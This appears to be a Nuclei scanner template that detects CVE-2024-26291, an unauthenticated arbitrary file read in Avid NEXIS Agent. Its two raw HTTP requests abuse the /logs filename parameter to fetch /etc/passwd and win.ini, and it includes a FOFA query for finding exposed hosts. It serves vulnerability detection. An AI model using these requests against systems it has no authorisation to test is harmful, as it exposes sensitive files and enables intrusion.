Avid NEXIS Agent - Arbitrary File Read

id: CVE-2024-26291

info:
  name: Avid NEXIS Agent - Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Avid NEXIS E-series, F-series, PRO+, and System Director Appliance (SDA+) before 2025.5.1 contain an unauthenticated arbitrary file read caused by improper validation of the filename parameter, letting unauthenticated attackers read sensitive files, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read sensitive files with highest privileges, potentially exposing critical information.
  remediation: Upgrade to Avid NEXIS version 2025.5.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-26291
    - https://raeph123.github.io/BlogPosts/Avid_Nexis/Advisory_Avid_Nexus_Agent_Multiple_Vulnerabilities_en.html
    - https://kb.avid.com/pkb/articles/troubleshooting/en239659
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-26291
    epss-score: 0.01204
    epss-percentile: 0.79178
    cwe-id: CWE-285
  metadata:
    verified: true
    max-request: 2
    vendor: avid
    product: nexis
    fofa-query: body="Avid Nexis"
  tags: cve,cve2024,avid,nexis,lfi,file-read,gsoap

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /logs?filename=%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: linux
        dsl:
          - 'status_code == 200'
          - 'contains(body, "root:")'
          - 'contains(header, "gSOAP")'
        condition: and

  - raw:
      - |
        GET /logs?filename=C%3A%5CWindows%5Cwin.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: windows
        dsl:
          - 'status_code == 200'
          - 'contains(body, "[fonts]") || contains(body, "[extensions]")'
          - 'contains(header, "gSOAP")'
        condition: and
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